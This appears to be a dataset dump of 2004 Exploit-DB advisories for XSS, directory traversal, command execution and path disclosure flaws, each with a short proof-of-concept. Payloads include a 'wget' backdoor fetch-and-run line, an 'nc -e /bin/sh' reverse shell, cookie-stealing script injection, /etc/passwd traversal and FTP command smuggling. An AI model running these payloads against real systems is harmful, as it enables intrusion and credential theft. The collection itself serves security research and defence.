QLWD/code_shield huggingface dataset:
标题: UBBCentral UBB.Threads 6.2.3/6.5 - 'login.php?Cat' Cross-Site Scripting EDB-ID: 24826 CVE: 2004-2509 类型: WEBAPPS 平台: PHP 发布日期: 2004-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/11900/info
 
It is reported that UBB.threads is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input prior to including it in dynamically generated web pages.
 
These issues could permit a remote attacker to create malicious URI links that include hostile HTML and script code. If these links were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.
 
These vulnerabilities are reported to exist in versions 6.2.3, and 6.5 of UBB.threads. Other versions may also be affected.

http://www.example.com/login.php?Cat=[XSS] URL: https://www.exploit-db.com/exploits/24826
标题: UBBCentral UBB.Threads 6.2.3/6.5 - 'online.php?Cat' Cross-Site Scripting EDB-ID: 24827 CVE: 2004-2509 类型: WEBAPPS 平台: PHP 发布日期: 2004-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/11900/info
 
It is reported that UBB.threads is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input prior to including it in dynamically generated web pages.
 
These issues could permit a remote attacker to create malicious URI links that include hostile HTML and script code. If these links were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.
 
These vulnerabilities are reported to exist in versions 6.2.3, and 6.5 of UBB.threads. Other versions may also be affected.

http://www.example.com/online.php?Cat=[XSS] URL: https://www.exploit-db.com/exploits/24827
标题: PHPGedView 2.5/2.6 - 'Source.php' Cross-Site Scripting EDB-ID: 24819 CVE: 2004-0067 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/11888/info

It is reported that PhpGedView is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/phpgedview/source.php?sid=<iframe> URL: https://www.exploit-db.com/exploits/24819
标题: UBBCentral UBB.Threads 6.2.3/6.5 - 'calendar.php?Cat' Cross-Site Scripting EDB-ID: 24825 CVE: 2004-2509 类型: WEBAPPS 平台: PHP 发布日期: 2004-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/11900/info
 
It is reported that UBB.threads is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input prior to including it in dynamically generated web pages.
 
These issues could permit a remote attacker to create malicious URI links that include hostile HTML and script code. If these links were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.
 
These vulnerabilities are reported to exist in versions 6.2.3, and 6.5 of UBB.threads. Other versions may also be affected.

http://www.example.com/calendar.php?Cat=[XSS] URL: https://www.exploit-db.com/exploits/24825
标题: PHPGedView 2.5/2.6 - 'index.php' Cross-Site Scripting EDB-ID: 24814 CVE: 2004-0067 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/11880/info

It is reported that PhpGedView is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/phpgedview/index.php?rootid="><iframe> URL: https://www.exploit-db.com/exploits/24814
标题: Opera Web Browser 7.54 - 'KDE KFMCLIENT' Remote Command Execution EDB-ID: 24828 CVE: 2004-1491 类型: DOS 平台: LINUX 发布日期: 2004-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/11901/info

It is reported that Opera for Linux is susceptible to a remote command execution vulnerability. This issue is due to a default configuration setting in Opera that utilizes the KDE 'kfmclient' utility to open unknown content.

Exploitation of this issue allows attacker-supplied commands to be executed in the context of the user running Opera.

Version 7.54 of Opera for Linux with KDE version 3.2.3 is reported vulnerable to this issue. Other versions may also be affected.

# KDE Config File
[KDE Desktop Entry]
SwallowExec=
SwallowTitle=
BinaryPattern=
MimeType=
Exec=/bin/bash -c wget\thttp://malicious_site/backdoor;chmod\t777\tbackdoor;./backdoor
Icon=
TerminalOptions=
Path=
Type=Application
Terminal=0 URL: https://www.exploit-db.com/exploits/24828
标题: phpMyAdmin 2.x - External Transformations Remote Command Execution EDB-ID: 24817 CVE: 2004-1147 类型: WEBAPPS 平台: PHP 发布日期: 2004-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/11886/info

phpMyAdmin is reported prone to multiple remote vulnerabilities. These issues can allow remote attackers to execute arbitrary commands and disclose files on a vulnerable computer. These issues result from insufficient sanitization of user-supplied data.

The command execution is reported to be present since phpMyAdmin 2.6.0-pl2. The file disclosure is present since phpMyAdmin 2.4.0.

F\';nc -e /bin/sh $IP 80;echo \'A URL: https://www.exploit-db.com/exploits/24817
标题: PHPGedView 2.5/2.6 - 'Gedrecord.php' Cross-Site Scripting EDB-ID: 24821 CVE: 2004-0067 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/11891/info

It is reported that PhpGedView is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/phpgedview/gedrecord.php?pid=<iframe> URL: https://www.exploit-db.com/exploits/24821
标题: PHPGedView 2.5/2.6 - 'Imageview.php' Cross-Site Scripting EDB-ID: 24820 CVE: 2004-0067 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/11890/info

It is reported that PhpGedView is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/phpgedview/imageview.php?filename=<iframe> URL: https://www.exploit-db.com/exploits/24820
标题: PHPGedView 2.5/2.6 - 'Individual.php' Cross-Site Scripting EDB-ID: 24816 CVE: 2004-0067 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/11882/info

It is reported that PhpGedView is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/phpgedview/individual.php?pid="><iframe> URL: https://www.exploit-db.com/exploits/24816
标题: PHPGedView 2.5/2.6 - 'Gdbi_interface.php' Cross-Site Scripting EDB-ID: 24822 CVE: 2004-0067 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/11894/info

It is reported that PhpGedView is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/phpgedview/gdbi_interface.php?action=delete&pid=<iframe> URL: https://www.exploit-db.com/exploits/24822
标题: UBBCentral UBB.Threads 6.2.3/6.5 - 'showflat.php?Cat' Cross-Site Scripting EDB-ID: 24824 CVE: 2004-2510 类型: WEBAPPS 平台: PHP 发布日期: 2004-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/11900/info

It is reported that UBB.threads is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input prior to including it in dynamically generated web pages.

These issues could permit a remote attacker to create malicious URI links that include hostile HTML and script code. If these links were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

These vulnerabilities are reported to exist in versions 6.2.3, and 6.5 of UBB.threads. Other versions may also be affected.

http://www.example.com/showflat.php?Cat=document.write(unescape("%3CSCRIPT%3Ealert%28document.domain%29%3B%3C/SCRIPT%3E%3CSCRIPT%3Ealert%28document.cookie%29%3B%3C/SCRIPT%3E%0D%0A")); URL: https://www.exploit-db.com/exploits/24824
标题: PHPGedView 2.x - 'Descendancy.php' Cross-Site Scripting EDB-ID: 24810 CVE: 2004-0067 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/11868/info

It is reported that PhpGedView is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/phpgedview/descendancy.php?pid=<iframe> URL: https://www.exploit-db.com/exploits/24810
标题: MD5 - Message Digest Algorithm Hash Collision EDB-ID: 24807 CVE: 2004-2761 类型: DOS 平台: MULTIPLE 发布日期: 2004-12-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/11849/info

The MD5 algorithm is reported prone to a hash collision weakness. This weakness reportedly allows attackers to create multiple, differing input sources that, when the MD5 algorithm is used, result in the same output fingerprint.

It has been demonstrated that attackers can create multiple input sources to MD5 that result in the same output fingerprint. Reportedly, at this time, attackers cannot generate arbitrary collisions. At this time, it is also reported that only a very limited number of individual bits in an input message may be altered while maintaining an identical output fingerprint.

This weakness may allow attackers to create two messages, or executable binaries such that their MD5 fingerprints are identical. One of these messages or binaries would be innocent, and the other malicious. The innocent message or binary may be digitally signed, and then later would have the malicious file substituted into its place. This attack may allow malicious code to be executed, or non-repudiation properties of messages to be broken.

At this time, preimage attacks are not reportedly possible.

It is recommended that cryptosystems that utilize the MD5 algorithm should be reviewed, and the measures should be taken to protect against this weakness. Other hashing algorithms may possibly be utilized in replacement to, or in conjunction with MD5 to decrease the likelihood of a successful attack.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24807.tar.gz URL: https://www.exploit-db.com/exploits/24807
标题: Microsoft Internet Explorer 5.0.1 - FTP URI Arbitrary FTP Server Command Execution EDB-ID: 24800 CVE: 2004-1166 类型: REMOTE 平台: WINDOWS 发布日期: 2004-12-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/11826/info

Microsoft Internet Explorer is reported prone to an arbitrary FTP server command-execution vulnerability. This issue is due to the application's failure to properly sanitize user-supplied URI input before using it to execute FTP commands on remote servers. 

This vulnerability allows attackers to embed arbitrary FTP server commands in malicious URIs. Upon following this malicious URI, the victim user's browser will reportedly connect to the attacker-specified FTP server, and the malicious commands will be sent to the server. This may allow malicious files to be downloaded to the victim's computer without their knowledge. Other attacks are also likely possible. 

Note: Reportedly, this issue can be leveraged to send email to arbitrary addresses without user interaction.

ftp://ftp.example.com/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file 

The 'a,b,c,d,e,f' would represent the IP address and port specifications, as per the FTP RFCs. 

This issue has also been reported to allow for the sending of email without user interaction. Embedding the following image into an HTML page reportedly sends an email: 

<img src="ftp://foo%0d%0aHELO%20mail%0d%0aMAIL%20FROM%3a<>%0d%0aRCPT%20TO%3a<username%40example.com>%0d%0aDATA%0d%0aSubject%3a%20hacked%0d%0aTo%3a%20username%40example.com%0d%0a%0d%0ahacked%0d%0a.%0d%0a:username@mx.example.net:25/" /> URL: https://www.exploit-db.com/exploits/24800
标题: KDE FTP - KIOSlave URI Arbitrary FTP Server Command Execution EDB-ID: 24801 CVE: 2004-1165 类型: REMOTE 平台: LINUX 发布日期: 2004-12-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/11827/info

KDE FTP kioslave-based applications such as Konqueror are reported prone to an arbitrary FTP server command execution vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input prior to utilizing it to execute FTP commands on remote servers.

This vulnerability allows attackers to embed arbitrary FTP server commands in malicious URIs. Upon following this malicious URI, the victim users Web browser will reportedly connect to the attacker-specified FTP server, and the malicious commands will be sent to the server. This may allow malicious files to be downloaded to the victims computer without their knowledge. Other attacks are also likely possible.

Note: It has been reported that this issue can be leveraged to send email to arbitrary addresses without user interaction.

ftp://ftp.example.com/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file

The 'a,b,c,d,e,f' would represent the IP address and port specifications, as per the FTP RFCs.

This issue has also been reported to allow for the sending of email without user interaction. Embedding the following image into an HTML page reportedly sends an email:

<img src="ftp://foo%0d%0aHELO%20mail%0d%0aMAIL%20FROM%3a&lt;&gt;%0d%0aRCPT%20TO%3a&lt;username%40example.com&gt;%0d%0aDATA%0d%0aSubject%3a%20hacked%0d%0aTo%3a%20username%40example.com%0d%0a%0d%0ahacked%0d%0a.%0d%0a:username@mx.example.net:25/" /> URL: https://www.exploit-db.com/exploits/24801
标题: F-Secure Policy Manager 5.11 - 'FSMSH.dll' CGI Application Installation Full Path Disclosure EDB-ID: 24811 CVE: 2004-1223 类型: REMOTE 平台: WINDOWS 发布日期: 2004-12-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/11869/info

F-Secure Policy Manager includes a CGI application named 'fsmsh.dll'. By supplying unexpected input as an argument to the 'fsmsh.dll' application the vulnerable software will return an error message that includes the installation path of the software.

/fsms/fsmsh.dll? URL: https://www.exploit-db.com/exploits/24811
标题: darryl burgdorf weblibs 1.0 - Directory Traversal EDB-ID: 24806 CVE: 2004-1221 类型: WEBAPPS 平台: PHP 发布日期: 2004-12-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/11848/info

It is reported that WebLibs is prone to a remote directory traversal vulnerability. This issue is due to a failure of the application to properly filter user-supplied input. 

WebLibs 1.0 is affected by this vulnerability.

The following proof of concept is available:
<INPUT type=hidden value="/../../../../../etc/passwd" name="TextFile"> URL: https://www.exploit-db.com/exploits/24806
标题: PAFileDB 3.1 - Error Message Full Path Disclosure EDB-ID: 24798 CVE: 2005-0780 类型: WEBAPPS 平台: PHP 发布日期: 2004-12-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/11817/info

paFileDB is prone to an installation path disclosure. If invalid requests are made to certain scripts, the installation path is included in the returned error message.

http://www.example.com/pafiledb/includes/admin/admins.php
http://www.example.com/pafiledb/includes/admin/category.php
http://www.example.com/pafiledb/includes/team.php URL: https://www.exploit-db.com/exploits/24798
标题: Blog Torrent 0.8 - Directory Traversal EDB-ID: 24796 CVE: 2004-1212 类型: WEBAPPS 平台: PHP 发布日期: 2004-12-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/11795/info

It is reported that Blog Torrent is prone to a remote directory traversal vulnerability. This issue is due to a failure of the server process to properly filter user supplied input. 

Blog Torrent preview 0.8 version is affected by this vulnerability.

htp://www.example.com/battletorrent/btdownload.php?type=torrent&file=../../etc/passwd URL: https://www.exploit-db.com/exploits/24796
标题: IPCop 1.4.1 - Web Administration Interface Proxy Log HTML Injection EDB-ID: 24792 CVE: 2004-1210 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2004-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/11779/info

IPCop is reported susceptible to an HTML injection vulnerability in its proxy log viewer. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated web pages.

This vulnerability allows remote, attacker-supplied malicious HTML or script code to be displayed to administrative users. This code would be executed in the context of the affected Web application. It is conjectured that it may be possible for attackers to cause administrative actions to be executed on their behalf when an administrator views the Squid logs. Theft of cookie-based authentication credentials and other attacks are also likely.

Version 1.4.1 of IPCop is reportedly vulnerable. Other versions may also be affected.

GET /<script>alert('XSS_PoC')</script> HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: example.com
Connection: Close URL: https://www.exploit-db.com/exploits/24792
标题: Advanced Guestbook 2.2/2.3 - Cross-Site Scripting EDB-ID: 24797 CVE: 2004-1213 类型: WEBAPPS 平台: PHP 发布日期: 2004-12-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/11798/info

It is reported that Advanced Guestbook is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

This vulnerability is reported to exist in version 2.3.1 of Advanced Guestbook. Other versions may also be affected.

http://www.example.com/index.php?entry=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/24797
标题: File ELF 4.x - Header Buffer Overflow EDB-ID: 24784 CVE: 2004-1304 类型: REMOTE 平台: LINUX 发布日期: 2004-11-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/11771/info

The file command is affected by a buffer overflow vulnerability. This issue is due to a failure of the application to properly validate string lengths in the affected file prior to copying them into static process buffers.

An attacker may leverage this issue to execute arbitrary code with the privileges of a user that processes the malicious file with the affected utility. This may be leveraged to escalate privileges or to gain unauthorized access.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24784.zip URL: https://www.exploit-db.com/exploits/24784